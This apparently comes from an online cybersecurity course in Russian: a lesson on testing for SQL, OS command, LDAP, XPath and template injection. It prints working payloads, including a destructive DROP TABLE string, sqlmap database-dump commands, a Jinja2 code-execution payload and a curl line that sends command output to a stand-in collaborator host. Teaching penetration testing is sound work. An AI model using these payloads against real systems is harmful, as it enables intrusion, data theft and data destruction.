0Pricing
Cyber Security Academy · Урок

Тестирование уязвимостей внедрения

Используйте SQLMap, ручные полезные нагрузки и Burp для проверки внедрения SQL-команд, команд ОС и LDAP.

«Тестирование уязвимостей внедрения» — бесплатный урок Cyber Security Academy на CoddyKit. Это урок 2 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cyber Security Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cyber Security Academy содержит 4 уроков всего.

Классы уязвимостей, связанных с инъекциями

Инъекция возникает, когда недоверенные данные передаются интерпретатору как часть команды или запроса. Интерпретатор не может отличить данные от команд и выполняет логику, контролируемую атакующим. Инъекции SQL, команд, LDAP, XPath и шаблонов относятся к этому классу.

SQL-инъекция: ручное тестирование

Начните с простых полезных нагрузок, чтобы проверить наличие SQL-инъекции. Одинарная кавычка вызывает синтаксическую ошибку SQL в уязвимых приложениях. Проверяйте сообщения об ошибках, различия в длине ответов и время ответа.

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLMap для автоматизированной SQL-инъекции

SQLMap автоматизирует обнаружение и эксплуатацию SQL-инъекций: обнаруживает точки инъекций, определяет DBMS, а также может выгружать базы данных, читать файлы и обеспечивать выполнение кода на уровне OS в уязвимых системах.

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

Тестирование инъекций команд

Инъекция команд возникает, когда пользовательские входные данные передаются функциям оболочки OS. Проверяйте их с помощью метасимволов оболочки: точек с запятой, конвейеров, обратных кавычек и подстановки команд $().

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

Инъекция LDAP

Инъекция LDAP изменяет запросы LDAP, используемые для аутентификации и поиска в каталогах. Проверьте поля аутентификации с помощью *)(uid=*))(|(uid=*, чтобы обойти фильтры.

Инъекция XPath

Инъекция XPath направлена на системы аутентификации на основе XML. Она похожа на SQL-инъекцию: полезные нагрузки изменяют запросы XPath, например ' or '1'='1, чтобы обойти аутентификацию.

Инъекция шаблонов (SSTI)

Инъекция шаблонов на стороне сервера возникает, когда пользовательские входные данные обрабатываются движком шаблонов (Jinja2, Twig, Freemarker). Для обнаружения внедрите {{7*7}}: если в ответе отображается 49, существует SSTI.

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Использование Burp для тестирования инъекций

Отправляйте запросы в повторитель и вручную внедряйте полезные нагрузки в каждый параметр. Используйте интрудер для автоматизации фаззинга со словарями инъекций (в SecLists есть отличные полезные нагрузки для инъекций).

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

Обнаружение инъекций вслепую

Если видимый вывод отсутствует, используйте задержки по времени для подтверждения выполнения, внеполосные DNS-вызовы (Burp Collaborator или interactsh) и ответы на основе логических условий (изменения длины содержимого).

Чтение сообщений об ошибках приложения

Подробные ошибки раскрывают тип базы данных, структуру запроса и пути к файлам — это бесценно для создания точных полезных нагрузок. Всегда проверяйте отладочные входные данные и данные, раскрывающие ошибки, наряду с обычными полезными нагрузками.

Справочник по предотвращению

Инъекции предотвращаются с помощью параметризованных запросов (SQL-инъекции), проверки входных данных и экранирования команд оболочки (инъекции команд), а также отказа от обработки пользовательских входных данных в шаблонах (SSTI). Разработчики должны понимать эти методы, чтобы писать безопасный код.

Быстрая проверка

Что подтверждает полезная нагрузка для обнаружения SSTI {{7*7}}, если в ответе отображается 49?

Итоги: тестирование инъекций

Уязвимости, связанные с инъекциями, возникают из-за смешивания данных и команд. Проверяйте все входные данные, контролируемые пользователем, с помощью полезных нагрузок для инъекций SQL, команд, шаблонов и LDAP. Используйте SQLMap для автоматизированной SQL-инъекции, повторитель Burp для ручного тестирования и методы задержки по времени/OOB для эксплуатации вслепую. Всегда документируйте полезные нагрузки и подтверждающие материалы для отчёта.

Часто задаваемые вопросы

Урок «Тестирование уязвимостей внедрения» бесплатный?

Да — полный текст урока «Тестирование уязвимостей внедрения» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cyber Security Academy, подпишись на CoddyKit PRO. Курс Cyber Security Academy содержит 4 уроков всего.

Чему я научусь в уроке «Тестирование уязвимостей внедрения»?

Используйте SQLMap, ручные полезные нагрузки и Burp для проверки внедрения SQL-команд, команд ОС и LDAP. Ты практикуешь Cyber Security Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Cyber Security Academy?

Предыдущий опыт не требуется. Cyber Security Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 2 из 4.

Сколько времени занимает урок «Тестирование уязвимостей внедрения»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Cyber Security Academy?

Да. Каждый урок Cyber Security Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Прокси Burp Suite и перехват запросов
  2. Тестирование уязвимостей внедрения
  3. Тестирование аутентификации и сеансов
  4. Уязвимости загрузки файлов и SSRF
← Назад к Cyber Security Academy